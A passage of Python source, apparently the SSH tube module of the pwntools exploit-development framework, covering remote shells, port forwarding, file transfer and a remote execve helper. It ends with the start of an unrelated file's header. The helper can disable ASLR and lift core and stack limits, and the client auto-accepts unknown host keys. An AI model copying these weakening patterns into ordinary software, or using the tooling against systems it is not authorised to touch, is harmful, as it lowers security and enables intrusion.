        msg = 'Connecting to %s:%d via SSH to %s' % (self.rhost, self.rport, self.host)
        with self.waitfor(msg) as h:
            try:
                self.sock = parent.transport.open_channel('direct-tcpip', (host, port), ('127.0.0.1', 0))
            except Exception as e:
                self.exception(e.message)
                raise

            sockname = self.sock.get_transport().sock.getsockname()
            self.lhost = sockname[0]
            self.lport = sockname[1]

            h.success()

    def spawn_process(self, *args, **kwargs):
        self.error("Cannot use spawn_process on an SSH channel.""")

    def _close_msg(self):
        self.info("Closed remote connection to %s:%d via SSH connection to %s" % (self.rhost, self.rport, self.host))


class ssh_listener(sock):
    def __init__(self, parent, bind_address, port, timeout = Timeout.default, level = None):
        super(ssh_listener, self).__init__(timeout, level = level)

        # keep the parent from being garbage collected in some cases
        self.parent = parent

        self.host = parent.host

        try:
            self.port = parent.transport.request_port_forward(bind_address, port)

        except Exception:
            h.failure('Failed create a port forwarding')
            raise

        def accepter():
            msg = 'Waiting on port %d via SSH to %s' % (self.port, self.host)
            h   = self.waitfor(msg)
            try:
                self.sock = parent.transport.accept()
                parent.transport.cancel_port_forward(bind_address, self.port)
            except Exception:
                self.sock = None
                h.failure()
                self.exception('Failed to get a connection')
                return

            self.rhost, self.rport = self.sock.origin_addr
            h.success('Got connection from %s:%d' % (self.rhost, self.rport))

        self._accepter = context.Thread(target = accepter)
        self._accepter.daemon = True
        self._accepter.start()

    def _close_msg(self):
        self.info("Closed remote connection to %s:%d via SSH listener on port %d via %s" % (self.rhost, self.rport, self.port, self.host))

    def spawn_process(self, *args, **kwargs):
        self.error("Cannot use spawn_process on an SSH channel.""")

    def wait_for_connection(self):
        """Blocks until a connection has been established."""
        _ = self.sock
        return self

    def __getattr__(self, key):
        if key == 'sock':
            while self._accepter.is_alive():
                self._accepter.join(timeout = 0.1)
            return self.sock
        else:
            return getattr(super(ssh_listener, self), key)


class ssh(Timeout, Logger):

    #: Remote host name (``str``)
    host = None

    #: Remote port (``int``)
    port = None

    #: Working directory (``str``)
    cwd = None

    #: Enable caching of SSH downloads (``bool``)
    cache = True

    #: Paramiko SSHClient which backs this object
    client = None

    #: Paramiko SFTPClient object which is used for file transfers.
    #: Set to ``None`` to disable ``sftp``.
    sftp = None

    #: PID of the remote ``sshd`` process servicing this connection.
    pid = None

    def __init__(self, user, host, port = 22, password = None, key = None,
                 keyfile = None, proxy_command = None, proxy_sock = None,
                 timeout = Timeout.default, level = None, cache = True,
                 ssh_agent = False):
        """Creates a new ssh connection.

        Arguments:
            user(str): The username to log in with
            host(str): The hostname to connect to
            port(int): The port to connect to
            password(str): Try to authenticate using this password
            key(str): Try to authenticate using this private key. The string should be the actual private key.
            keyfile(str): Try to authenticate using this private key. The string should be a filename.
            proxy_command(str): Use this as a proxy command. It has approximately the same semantics as ProxyCommand from ssh(1).
            proxy_sock(str): Use this socket instead of connecting to the host.
            timeout: Timeout, in seconds
            level: Log level
            cache: Cache downloaded files (by hash/size/timestamp)
            ssh_agent: If ``True``, enable usage of keys via ssh-agent

        NOTE: The proxy_command and proxy_sock arguments is only available if a
        fairly new version of paramiko is used."""
        super(ssh, self).__init__(timeout)

        Logger.__init__(self)
        if level is not None:
            self.setLevel(level)


        self.host            = host
        self.port            = port
        self.user            = user
        self.password        = password
        self.key             = key
        self.keyfile         = keyfile
        self._cachedir       = os.path.join(tempfile.gettempdir(), 'pwntools-ssh-cache')
        self.cwd             = '.'
        self.cache           = cache

        misc.mkdir_p(self._cachedir)

        # This is a dirty hack to make my Yubikey shut up.
        # If anybody has a problem with this, please open a bug and I'll
        # figure out a better workaround.
        if not ssh_agent:
            os.environ.pop('SSH_AUTH_SOCK', None)

        import paramiko

        # Make a basic attempt to parse the ssh_config file
        try:
            config_file = os.path.expanduser('~/.ssh/config')

            if os.path.exists(config_file):
                ssh_config  = paramiko.SSHConfig()
                ssh_config.parse(file(config_file))
                host_config = ssh_config.lookup(host)
                if 'hostname' in host_config:
                    self.host = host = host_config['hostname']
                if not keyfile and 'identityfile' in host_config:
                    keyfile = host_config['identityfile'][0]
                    if keyfile.lower() == 'none':
                        keyfile = None
        except Exception as e:
            self.debug("An error occurred while parsing ~/.ssh/config:\n%s" % e)

        keyfiles = [os.path.expanduser(keyfile)] if keyfile else []

        msg = 'Connecting to %s on port %d' % (host, port)
        with self.waitfor(msg) as h:
            self.client = paramiko.SSHClient()
            self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            known_hosts = os.path.expanduser('~/.ssh/known_hosts')
            if os.path.exists(known_hosts):
                self.client.load_host_keys(known_hosts)

            has_proxy = (proxy_sock or proxy_command) and True
            if has_proxy:
                if 'ProxyCommand' not in dir(paramiko):
                    self.error('This version of paramiko does not support proxies.')

                if proxy_sock and proxy_command:
                    self.error('Cannot have both a proxy command and a proxy sock')

                if proxy_command:
                    proxy_sock = paramiko.ProxyCommand(proxy_command)
                self.client.connect(host, port, user, password, key, keyfiles, self.timeout, compress = True, sock = proxy_sock)
            else:
                self.client.connect(host, port, user, password, key, keyfiles, self.timeout, compress = True)

            self.transport = self.client.get_transport()
            self.transport.use_compression(True)

            h.success()

        self._tried_sftp = False

        with context.local(log_level='error'):
            try:
                self.pid = int(self.system('echo $PPID').recv(timeout=1))
            except Exception:
                self.pid = None

    @property
    def sftp(self):
        if not self._tried_sftp:
            try:
                self._sftp = self.transport.open_sftp_client()
            except Exception:
                self._sftp = None

        self._tried_sftp = True
        return self._sftp


    def __enter__(self, *a):
        return self

    def __exit__(self, *a, **kw):
        self.close()

    def shell(self, shell = None, tty = True, timeout = Timeout.default):
        """shell(shell = None, tty = True, timeout = Timeout.default) -> ssh_channel

        Open a new channel with a shell inside.

        Arguments:
            shell(str): Path to the shell program to run.
                If ``None``, uses the default shell for the logged in user.
            tty(bool): If ``True``, then a TTY is requested on the remote server.

        Returns:
            Return a :class:`pwnlib.tubes.ssh.ssh_channel` object.

        Examples:
            >>> s =  ssh(host='example.pwnme',
            ...         user='travis',
            ...         password='demopass')
            >>> sh = s.shell('/bin/sh')
            >>> sh.sendline('echo Hello; exit')
            >>> print 'Hello' in sh.recvall()
            True
        """
        return self.run(shell, tty, timeout = timeout)

    def process(self, argv=None, executable=None, tty=True, cwd=None, env=None, timeout=Timeout.default, run=True,
                stdin=0, stdout=1, stderr=2, preexec_fn=None, preexec_args=[], raw=True, aslr=None, setuid=None):
        r"""
        Executes a process on the remote server, in the same fashion
        as pwnlib.tubes.process.process.

        To achieve this, a Python script is created to call ``os.execve``
        with the appropriate arguments.

        As an added bonus, the ``ssh_channel`` object returned has a
        ``pid`` property for the process pid.

        Arguments:
            argv(list):
                List of arguments to pass into the process
            executable(str):
                Path to the executable to run.
                If ``None``, ``argv[0]`` is used.
            tty(bool):
                Request a `tty` from the server.  This usually fixes buffering problems
                by causing `libc` to write data immediately rather than buffering it.
                However, this disables interpretation of control codes (e.g. Ctrl+C)
                and breaks `.shutdown`.
            cwd(str):
                Working directory.  If ``None``, uses the working directory specified
                on :attr:`cwd` or set via :meth:`set_working_directory`.
            env(dict):
                Environment variables to set in the child.  If ``None``, inherits the
                default environment.
            timeout(int):
                Timeout to set on the `tube` created to interact with the process.
            run(bool):
                Set to ``True`` to run the program (default).
                If ``False``, returns the path to an executable Python script on the
                remote server which, when executed, will do it.
            stdin(int, str):
                If an integer, replace stdin with the numbered file descriptor.
                If a string, a open a file with the specified path and replace
                stdin with its file descriptor.  May also be one of ``sys.stdin``,
                ``sys.stdout``, ``sys.stderr``.  If ``None``, the file descriptor is closed.
            stdout(int, str):
                See ``stdin``.
            stderr(int, str):
                See ``stdin``.
            preexec_fn(callable):
                Function which is executed on the remote side before execve().
            preexec_args(object):
                Argument passed to ``preexec_fn``.
            raw(bool):
                If ``True``, disable TTY control code interpretation.
            aslr(bool):
                See ``pwnlib.tubes.process.process`` for more information.
            setuid(bool):
                See ``pwnlib.tubes.process.process`` for more information.

        Returns:
            A new SSH channel, or a path to a script if ``run=False``.

        Notes:
            Requires Python on the remote server.

        Examples:
            >>> s = ssh(host='example.pwnme',
            ...         user='travis',
            ...         password='demopass')
            >>> sh = s.process('/bin/sh', env={'PS1':''})
            >>> sh.sendline('echo Hello; exit')
            >>> sh.recvall()
            'Hello\n'
            >>> s.process(['/bin/echo', '\xff']).recvall()
            '\xff\n'
            >>> s.process(['readlink', '/proc/self/exe']).recvall()
            '/bin/readlink\n'
            >>> s.process(['LOLOLOL', '/proc/self/exe'], executable='readlink').recvall()
            '/bin/readlink\n'
            >>> s.process(['LOLOLOL\x00', '/proc/self/cmdline'], executable='cat').recvall()
            'LOLOLOL\x00/proc/self/cmdline\x00'
            >>> sh = s.process(executable='/bin/sh')
            >>> sh.pid in pidof('sh') # doctest: +SKIP
            True
            >>> s.process(['pwd'], cwd='/tmp').recvall()
            '/tmp\n'
            >>> p = s.process(['python','-c','import os; print os.read(2, 1024)'], stderr=0)
            >>> p.send('hello')
            >>> p.recv()
            'hello\n'
            >>> s.process(['/bin/echo', 'hello']).recvall()
            'hello\n'
            >>> s.process(['/bin/echo', 'hello'], stdout='/dev/null').recvall()
            ''
            >>> s.process(['/usr/bin/env'], env={}).recvall()
            ''
            >>> s.process('/usr/bin/env', env={'A':'B'}).recvall()
            'A=B\n'
        """
        if not argv and not executable:
            self.error("Must specify argv or executable")

        argv      = argv or []
        aslr      = aslr if aslr is not None else context.aslr

        if isinstance(argv, (str, unicode)):
            argv = [argv]

        if not isinstance(argv, (list, tuple)):
            self.error('argv must be a list or tuple')

        # Python doesn't like when an arg in argv contains '\x00'
        # -> execve() arg 2 must contain only strings
        for i, arg in enumerate(argv):
            if '\x00' in arg[:-1]:
                self.error('Inappropriate nulls in argv[%i]: %r' % (i, arg))
            argv[i] = arg.rstrip('\x00')

        # Python also doesn't like when envp contains '\x00'
        if env and hasattr(env, 'items'):
            for k, v in env.items():
                if '\x00' in k[:-1]:
                    self.error('Inappropriate nulls in environment key %r' % (i, k))
                if '\x00' in v[:-1]:
                    self.error('Inappropriate nulls in environment value %r=%r' % (k, v))
                env[k.rstrip('\x00')] = v.rstrip('\x00')

        executable = executable or argv[0]
        cwd        = cwd or self.cwd

        # Validate, since failures on the remote side will suck.
        if not isinstance(executable, str):
            self.error("executable / argv[0] must be a string: %r" % executable)
        if not isinstance(argv, (list, tuple)):
            self.error("argv must be a list or tuple: %r" % argv)
        if env is not None and not isinstance(env, dict) and env != os.environ:
            self.error("env must be a dict: %r" % env)
        if not all(isinstance(s, str) for s in argv):
            self.error("argv must only contain strings: %r" % argv)

        # Allow passing in sys.stdin/stdout/stderr objects
        handles = {sys.stdin: 0, sys.stdout:1, sys.stderr:2}
        stdin  = handles.get(stdin, stdin)
        stdout = handles.get(stdout, stdout)
        stderr = handles.get(stderr, stderr)

        # Allow the user to provide a self-contained function to run
        def func(): pass
        func      = preexec_fn or func
        func_src  = inspect.getsource(func).strip()
        func_name = func.__name__
        func_args = preexec_args

        if not isinstance(func, types.FunctionType):
            log.error("preexec_fn must be a function")
        if func_name == (lambda: 0).__name__:
            log.error("preexec_fn cannot be a lambda")

        setuid = setuid if setuid is None else bool(setuid)

        script = r"""
#!/usr/bin/env python2
import os, sys, ctypes, resource, platform
from collections import OrderedDict
exe   = %(executable)r
argv  = %(argv)r
env   = %(env)r

os.chdir(%(cwd)r)

if env is not None:
    os.environ.clear()
    os.environ.update(env)

def is_exe(path):
    return os.path.isfile(path) and os.access(path, os.X_OK)

PATH = os.environ.get('PATH','').split(os.pathsep)

if os.path.sep not in exe and not is_exe(exe):
    for path in PATH:
        test_path = os.path.join(path, exe)
        if is_exe(test_path):
            exe = test_path
            break

if not is_exe(exe):
    sys.stderr.write('3\n')
    sys.stderr.write("{} is not executable or does not exist in $PATH: {}".format(exe,PATH))
    sys.exit(-1)

if %(setuid)r is False:
    PR_SET_NO_NEW_PRIVS = 38
    result = ctypes.CDLL('libc.so.6').prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)

    if result != 0:
        sys.stdout.write('3\n')
        sys.stdout.write("Could not disable setuid: prctl(PR_SET_NO_NEW_PRIVS) failed")
        sys.exit(-1)

if sys.argv[-1] == 'check':
    sys.stdout.write("1\n")
    sys.stdout.write(str(os.getpid()) + "\n")
    sys.stdout.write(exe + '\x00')
    sys.stdout.flush()

for fd, newfd in {0: %(stdin)r, 1: %(stdout)r, 2:%(stderr)r}.items():
    if newfd is None:
        close(fd)
    elif isinstance(newfd, str):
        os.close(fd)
        os.open(newfd, os.O_RDONLY if fd == 0 else (os.O_RDWR|os.O_CREAT))
    elif isinstance(newfd, int) and newfd != fd:
        os.dup2(fd, newfd)

if not %(aslr)r:
    if platform.system().lower() == 'linux' and %(setuid)r is not True:
        ADDR_NO_RANDOMIZE = 0x0040000
        ctypes.CDLL('libc.so.6').personality(ADDR_NO_RANDOMIZE)

    resource.setrlimit(resource.RLIMIT_STACK, (-1, -1))

# Assume that the user would prefer to have core dumps.
resource.setrlimit(resource.RLIMIT_CORE, (-1, -1))

%(func_src)s
apply(%(func_name)s, %(func_args)r)

os.execve(exe, argv, os.environ)
""" % locals()

        script = script.strip()

        self.debug("Created execve script:\n" + script)

        if not run:
            with context.local(log_level='error'):
                tmpfile = self.mktemp('-t', 'pwnlib-execve-XXXXXXXXXX')
                self.chmod('+x', tmpfile)

            self.info("Uploading execve script to %r" % tmpfile)
            self.upload_data(script, tmpfile)
            return tmpfile

        execve_repr = "execve(%r, %s, %s)" % (executable,
                                              argv,
                                              'os.environ'
                                              if (env in (None, os.environ))
                                              else env)

        # Avoid spamming the screen
        if context.log_level >= logging.INFO and len(execve_repr) > 512:
            execve_repr = execve_repr[:512] + '...'

        with self.progress('Opening new channel: %s' % execve_repr) as h:

            if not aslr:
                self.warn_once("ASLR is disabled!")

            script = misc.sh_command_with('for py in python2.7 python2 python; do test -x "$(which $py 2>&1)" && exec $py -c %s check; done; echo 2', script)
            with context.local(log_level='error'):
                python = self.run(script, raw=raw)
            result = safeeval.const(python.recvline())

            # If an error occurred, try to grab as much output
            # as we can.
            if result != 1:
                error_message = python.recvrepeat(timeout=1)

            if result == 0:
                self.error("%r does not exist or is not executable" % executable)
            elif result == 3:
                self.error(error_message)
            elif result == 2:
                self.error("python is not installed on the remote system %r" % self.host)
            elif result != 1:
                h.failure("something bad happened:\n%s" % error_message)

            python.pid  = safeeval.const(python.recvline())
            python.argv = argv
            python.executable = python.recvuntil('\x00')[:-1]

        return python

    def which(self, program):
        """which(program) -> str

        Minor modification to just directly invoking ``which`` on the remote
        system which adds the current working directory to the end of ``$PATH``.
        """
        # If name is a path, do not attempt to resolve it.
        if os.path.sep in program:
            return program

        result = self.run('export PATH=$PATH:$PWD; which %s' % program).recvall().strip()

        if '/' not in result:
            return None

        return result

    def system(self, process, tty = True, wd = None, env = None, timeout = Timeout.default, raw = True):
        r"""system(process, tty = True, wd = None, env = None, timeout = Timeout.default, raw = True) -> ssh_channel

        Open a new channel with a specific process inside. If `tty` is True,
        then a TTY is requested on the remote server.

        If `raw` is True, terminal control codes are ignored and input is not
        echoed back.

        Return a :class:`pwnlib.tubes.ssh.ssh_channel` object.

        Examples:
            >>> s =  ssh(host='example.pwnme',
            ...         user='travis',
            ...         password='demopass')
            >>> py = s.run('python -i')
            >>> _ = py.recvuntil('>>> ')
            >>> py.sendline('print 2+2')
            >>> py.sendline('exit')
            >>> print repr(py.recvline())
            '4\n'
        """

        if wd is None:
            wd = self.cwd

        return ssh_channel(self, process, tty, wd, env, timeout, level = self.level, raw = raw)

    #: Backward compatibility.  Use :meth:`system`
    run = system

    def getenv(self, variable, **kwargs):
        """Retrieve the address of an environment variable on the remote
        system.

        Note:

            The exact address will differ based on what other environment
            variables are set, as well as argv[0].  In order to ensure that
            the path is *exactly* the same, it is recommended to invoke the
            process with ``argv=[]``.

        Example:

            >>> s =  ssh(host='example.pwnme',
            ...         user='travis',
            ...         password='demopass',
            ...         cache=False)
            >>>

        """
        script = '''
from ctypes import *; libc = CDLL('libc.so.6'); print(libc.getenv(%r))
''' % variable

        with context.local(log_level='error'):
            python = self.which('python')

            if not python:
                self.error("Python is not installed on the remote system.")

            io = self.process(['','-c', script.strip()], executable=python, **kwargs)
            result = io.recvall()

        try:
            return int(result) & context.mask
        except:
            self.exception("Could not look up environment variable %r" % variable)



    def run_to_end(self, process, tty = False, wd = None, env = None):
        r"""run_to_end(process, tty = False, timeout = Timeout.default, env = None) -> str

        Run a command on the remote server and return a tuple with
        (data, exit_status). If `tty` is True, then the command is run inside
        a TTY on the remote server.

        Examples:
            >>> s =  ssh(host='example.pwnme',
            ...         user='travis',
            ...         password='demopass')
            >>> print s.run_to_end('echo Hello; exit 17')
            ('Hello\n', 17)
            """

        with context.local(log_level = 'ERROR'):
            c = self.run(process, tty, wd = wd, timeout = Timeout.default)
            data = c.recvall()
            retcode = c.wait()
            c.close()
            return data, retcode

    def connect_remote(self, host, port, timeout = Timeout.default):
        r"""connect_remote(host, port, timeout = Timeout.default) -> ssh_connecter

        Connects to a host through an SSH connection. This is equivalent to
        using the ``-L`` flag on ``ssh``.

        Returns a :class:`pwnlib.tubes.ssh.ssh_connecter` object.

        Examples:
            >>> from pwn import *
            >>> l = listen()
            >>> s =  ssh(host='example.pwnme',
            ...         user='travis',
            ...         password='demopass')
            >>> a = s.connect_remote(s.host, l.lport)
            >>> b = l.wait_for_connection()
            >>> a.sendline('Hello')
            >>> print repr(b.recvline())
            'Hello\n'
        """

        return ssh_connecter(self, host, port, timeout, level=self.level)

    remote = connect_remote

    def listen_remote(self, port = 0, bind_address = '', timeout = Timeout.default):
        r"""listen_remote(port = 0, bind_address = '', timeout = Timeout.default) -> ssh_connecter

        Listens remotely through an SSH connection. This is equivalent to
        using the ``-R`` flag on ``ssh``.

        Returns a :class:`pwnlib.tubes.ssh.ssh_listener` object.

        Examples:

            >>> from pwn import *
            >>> s =  ssh(host='example.pwnme',
            ...         user='travis',
            ...         password='demopass')
            >>> l = s.listen_remote()
            >>> a = remote(s.host, l.port)
            >>> b = l.wait_for_connection()
            >>> a.sendline('Hello')
            >>> print repr(b.recvline())
            'Hello\n'
        """

        return ssh_listener(self, bind_address, port, timeout, level=self.level)

    listen = listen_remote

    def __getitem__(self, attr):
        """Permits indexed access to run commands over SSH

        Examples:

            >>> s =  ssh(host='example.pwnme',
            ...         user='travis',
            ...         password='demopass')
            >>> print s['echo hello']
            hello
        """
        return self.__getattr__(attr)()

    def __call__(self, attr):
        """Permits function-style access to run commands over SSH

        Examples:

            >>> s =  ssh(host='example.pwnme',
            ...         user='travis',
            ...         password='demopass')
            >>> print repr(s('echo hello'))
            'hello'
        """
        return self.__getattr__(attr)()

    def __getattr__(self, attr):
        """Permits member access to run commands over SSH

        Examples:

            >>> s =  ssh(host='example.pwnme',
            ...         user='travis',
            ...         password='demopass')
            >>> s.echo('hello')
            'hello'
            >>> s.whoami()
            'travis'
            >>> s.echo(['huh','yay','args'])
            'huh yay args'
        """
        bad_attrs = [
            'trait_names',          # ipython tab-complete
        ]

        if attr in self.__dict__ \
        or attr in bad_attrs \
        or attr.startswith('_'):
            raise AttributeError

        def runner(*args):
            if len(args) == 1 and isinstance(args[0], (list, tuple)):
                command = [attr] + args[0]
            else:
                command = ' '.join((attr,) + args)

            return self.run(command).recvall().strip()
        return runner

    def connected(self):
        """Returns True if we are connected.

        Example:

            >>> s =  ssh(host='example.pwnme',
            ...         user='travis',
            ...         password='demopass')
            >>> s.connected()
            True
            >>> s.close()
            >>> s.connected()
            False
        """
        return bool(self.client and self.client.get_transport().is_active())

    def close(self):
        """Close the connection."""
        if self.client:
            self.client.close()
            self.client = None
            self.info("Closed connection to %r" % self.host)

    def _libs_remote(self, remote):
        """Return a dictionary of the libraries used by a remote file."""
        cmd = '(ulimit -s unlimited; ldd %s > /dev/null && (LD_TRACE_LOADED_OBJECTS=1 %s || ldd %s)) 2>/dev/null'
        cmd = misc.sh_command_with(lambda arg: cmd % (arg, arg, arg), remote)
        data, status = self.run_to_end(cmd)
        if status != 0:
            self.error('Unable to find libraries for %r' % remote)
            return {}

        return misc.parse_ldd_output(data)

    def _get_fingerprint(self, remote):
        cmd = '(openssl sha256 || sha256 || sha256sum) 2>/dev/null < %s'
        cmd = misc.sh_command_with(cmd, remote)
        data, status = self.run_to_end(cmd)

        if status != 0:
            return None

        # OpenSSL outputs in the format of...
        # (stdin)= e3b0c4429...
        data = data.replace('(stdin)= ','')

        # sha256 and sha256sum outputs in the format of...
        # e3b0c442...  -
        data = data.replace('-','')

        return data.strip()

    def _get_cachefile(self, fingerprint):
        return os.path.join(self._cachedir, fingerprint)

    def _verify_local_fingerprint(self, fingerprint):
        if not set(fingerprint).issubset(string.hexdigits) or \
           len(fingerprint) != 64:
            self.error('Invalid fingerprint %r' % fingerprint)
            return False

        local = self._get_cachefile(fingerprint)
        if not os.path.isfile(local):
            return False

        if hashes.sha256filehex(local) == fingerprint:
            return True
        else:
            os.unlink(local)
            return False

    def _download_raw(self, remote, local, h):
        def update(has, total):
            h.status("%s/%s" % (misc.size(has), misc.size(total)))

        if self.sftp:
            self.sftp.get(remote, local, update)
            return

        cmd = misc.sh_command_with('wc -c < %s', remote)
        total, exitcode = self.run_to_end(cmd)

        if exitcode != 0:
            h.failure("%r does not exist or is not accessible" % remote)
            return

        total = int(total)

        with context.local(log_level = 'ERROR'):
            cmd = misc.sh_command_with('cat < %s', remote)
            c = self.run(cmd)
        data = ''

        while True:
            try:
                data += c.recv()
            except EOFError:
                break
            update(len(data), total)

        result = c.wait()
        if result != 0:
            h.failure('Could not download file %r (%r)' % (remote, result))
            return

        with open(local, 'w') as fd:
            fd.write(data)

    def _download_to_cache(self, remote, p):

        with context.local(log_level='error'):
            remote = self.readlink('-f',remote)

        fingerprint = self._get_fingerprint(remote)
        if fingerprint is None:
            local = os.path.normpath(remote)
            local = os.path.basename(local)
            local += time.strftime('-%Y-%m-%d-%H:%M:%S')
            local = os.path.join(self._cachedir, local)

            self._download_raw(remote, local, p)
            return local

        local = self._get_cachefile(fingerprint)

        if self.cache and self._verify_local_fingerprint(fingerprint):
            p.success('Found %r in ssh cache' % remote)
        else:
            self._download_raw(remote, local, p)

            if not self._verify_local_fingerprint(fingerprint):
                p.failure('Could not download file %r' % remote)

        return local

    def download_data(self, remote):
        """Downloads a file from the remote server and returns it as a string.

        Arguments:
            remote(str): The remote filename to download.


        Examples:
            >>> with file('/tmp/bar','w+') as f:
            ...     f.write('Hello, world')
            >>> s =  ssh(host='example.pwnme',
            ...         user='travis',
            ...         password='demopass',
            ...         cache=False)
            >>> s.download_data('/tmp/bar')
            'Hello, world'
            >>> s._sftp = None
            >>> s._tried_sftp = True
            >>> s.download_data('/tmp/bar')
            'Hello, world'

        """
        with self.progress('Downloading %r' % remote) as p:
            with open(self._download_to_cache(remote, p)) as fd:
                return fd.read()

    def download_file(self, remote, local = None):
        """Downloads a file from the remote server.

        The file is cached in /tmp/pwntools-ssh-cache using a hash of the file, so
        calling the function twice has little overhead.

        Arguments:
            remote(str): The remote filename to download
            local(str): The local filename to save it to. Default is to infer it from the remote filename.
        """


        if not local:
            local = os.path.basename(os.path.normpath(remote))

        if os.path.basename(remote) == remote:
            remote = os.path.join(self.cwd, remote)

        with self.progress('Downloading %r to %r' % (remote, local)) as p:
            local_tmp = self._download_to_cache(remote, p)

        # Check to see if an identical copy of the file already exists
        if not os.path.exists(local) or hashes.sha256filehex(local_tmp) != hashes.sha256filehex(local):
            shutil.copy2(local_tmp, local)

    def download_dir(self, remote=None, local=None):
        """Recursively downloads a directory from the remote server

        Arguments:
            local: Local directory
            remote: Remote directory
        """
        remote   = remote or self.cwd


        if self.sftp:
            remote = str(self.sftp.normalize(remote))
        else:
            with context.local(log_level='error'):
                remote = self.system(misc.sh_command_with('readlink -f %s', remote))

        dirname  = os.path.dirname(remote)
        basename = os.path.basename(remote)

        local    = local or '.'
        local    = os.path.expanduser(local)

        self.info("Downloading %r to %r" % (basename,local))

        with context.local(log_level='error'):
            remote_tar = self.mktemp()
            tar = self.system(misc.sh_command_with('tar -C %s -czf %s %s', dirname, remote_tar, basename))

            if 0 != tar.wait():
                self.error("Could not create remote tar")

            local_tar = tempfile.NamedTemporaryFile(suffix='.tar.gz')
            self.download_file(remote_tar, local_tar.name)

            tar = tarfile.open(local_tar.name)
            tar.extractall(local)


    def upload_data(self, data, remote):
        """Uploads some data into a file on the remote server.

        Arguments:
            data(str): The data to upload.
            remote(str): The filename to upload it to.

        Example:
            >>> s =  ssh(host='example.pwnme',
            ...         user='travis',
            ...         password='demopass')
            >>> s.upload_data('Hello, world', '/tmp/upload_foo')
            >>> print file('/tmp/upload_foo').read()
            Hello, world
            >>> s._sftp = False
            >>> s._tried_sftp = True
            >>> s.upload_data('Hello, world', '/tmp/upload_bar')
            >>> print file('/tmp/upload_bar').read()
            Hello, world
        """
        # If a relative path was provided, prepend the cwd
        if os.path.normpath(remote) == os.path.basename(remote):
            remote = os.path.join(self.cwd, remote)

        if self.sftp:
            with tempfile.NamedTemporaryFile() as f:
                f.write(data)
                f.flush()
                self.sftp.put(f.name, remote)
                return

        with context.local(log_level = 'ERROR'):
            cmd = misc.sh_command_with('cat>%s', remote)
            s = self.run(cmd, tty=False)
            s.send(data)
            s.shutdown('send')
            data   = s.recvall()
            result = s.wait()
            if result != 0:
                self.error("Could not upload file %r (%r)\n%s" % (remote, result, data))


    def upload_file(self, filename, remote = None):
        """Uploads a file to the remote server. Returns the remote filename.

        Arguments:
        filename(str): The local filename to download
        remote(str): The remote filename to save it to. Default is to infer it from the local filename."""


        if remote == None:
            remote = os.path.normpath(filename)
            remote = os.path.basename(remote)
            remote = os.path.join(self.cwd, remote)

        with open(filename) as fd:
            data = fd.read()

        self.info("Uploading %r to %r" % (filename,remote))
        self.upload_data(data, remote)

        return remote

    def upload_dir(self, local, remote=None):
        """Recursively uploads a directory onto the remote server

        Arguments:
            local: Local directory
            remote: Remote directory
        """

        remote    = remote or self.cwd

        local     = os.path.expanduser(local)
        dirname   = os.path.dirname(local)
        basename  = os.path.basename(local)

        if not os.path.isdir(local):
            self.error("%r is not a directory" % local)

        msg = "Uploading %r to %r" % (basename,remote)
        with self.waitfor(msg) as w:
            # Generate a tarfile with everything inside of it
            local_tar  = tempfile.mktemp()
            with tarfile.open(local_tar, 'w:gz') as tar:
                tar.add(local, basename)

            # Upload and extract it
            with context.local(log_level='error'):
                remote_tar = self.mktemp('--suffix=.tar.gz')
                self.upload_file(local_tar, remote_tar)

                untar = self.run('cd %s && tar -xzf %s' % (remote, remote_tar))
                message = untar.recvrepeat(2)

                if untar.wait() != 0:
                    self.error("Could not untar %r on the remote end\n%s" % (remote_tar, message))

    def upload(self, file_or_directory, remote=None):
        if isinstance(file_or_directory, str):
            file_or_directory = os.path.expanduser(file_or_directory)
            file_or_directory = os.path.expandvars(file_or_directory)

        if os.path.isfile(file_or_directory):
            return self.upload_file(file_or_directory, remote)

        if os.path.isdir(file_or_directory):
            return self.upload_dir(file_or_directory, remote)

        log.error('%r does not exist' % file_or_directory)


    def download(self, file_or_directory, remote=None):
        if not self.sftp:
            self.error("Cannot determine remote file type without SFTP")

        if 0 == self.system(misc.sh_command_with('test -d %s', file_or_directory)).wait():
            self.download_dir(file_or_directory, remote)
        else:
            self.download_file(file_or_directory, remote)

    put = upload
    get = download

    def libs(self, remote, directory = None):
        """Downloads the libraries referred to by a file.

        This is done by running ldd on the remote server, parsing the output
        and downloading the relevant files.

        The directory argument specified where to download the files. This defaults
        to './$HOSTNAME' where $HOSTNAME is the hostname of the remote server."""

        libs = self._libs_remote(remote)

        remote = self.readlink('-f',remote).strip()
        libs[remote] = 0

        if directory == None:
            directory = self.host

        directory = os.path.realpath(directory)

        res = {}

        seen = set()

        for lib, addr in libs.items():
            local = os.path.realpath(os.path.join(directory, '.' + os.path.sep + lib))
            if not local.startswith(directory):
                self.warning('This seems fishy: %r' % lib)
                continue

            misc.mkdir_p(os.path.dirname(local))

            if lib not in seen:
                self.download_file(lib, local)
                seen.add(lib)
            res[local] = addr

        return res

    def interactive(self, shell=None):
        """Create an interactive session.

        This is a simple wrapper for creating a new
        :class:`pwnlib.tubes.ssh.ssh_channel` object and calling
        :meth:`pwnlib.tubes.ssh.ssh_channel.interactive` on it."""

        s = self.shell(shell)

        if self.cwd != '.':
            cmd = misc.sh_command_with('cd %s', self.cwd)
            s.sendline(cmd)

        s.interactive()
        s.close()

    def set_working_directory(self, wd = None):
        """Sets the working directory in which future commands will
        be run (via ssh.run) and to which files will be uploaded/downloaded
        from if no path is provided

        Note:
            This uses ``mktemp -d`` under the covers, sets permissions
            on the directory to ``0700``.  This means that setuid binaries
            will **not** be able to access files created in this directory.

            In order to work around this, we also ``chmod +x`` the directory.

        Arguments:
            wd(string): Working directory.  Default is to auto-generate a directory
                based on the result of running 'mktemp -d' on the remote machine.

        Examples:
            >>> s =  ssh(host='example.pwnme',
            ...         user='travis',
            ...         password='demopass')
            >>> cwd = s.set_working_directory()
            >>> s.ls()
            ''
            >>> s.pwd() == cwd
            True
        """
        status = 0

        if not wd:
            wd, status = self.run_to_end('x=$(mktemp -d) && cd $x && chmod +x . && echo $PWD', wd='.')
            wd = wd.strip()

            if status:
                self.error("Could not generate a temporary directory (%i)\n%s" % (status, wd))

        else:
            cmd = misc.sh_command_with('ls %s', wd)
            _, status = self.run_to_end(cmd, wd = '.')

            if status:
                self.error("%r does not appear to exist" % wd)

        self.info("Working directory: %r" % wd)
        self.cwd = wd
        return self.cwd






#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#  mayhem/datatypes/elf.py
#
#  Redistribution and use in source and binary forms, with or without
#  modification, are permitted provided that the following conditions are
#  met:
#
#  * Redistributions of source code must retain the above copyright
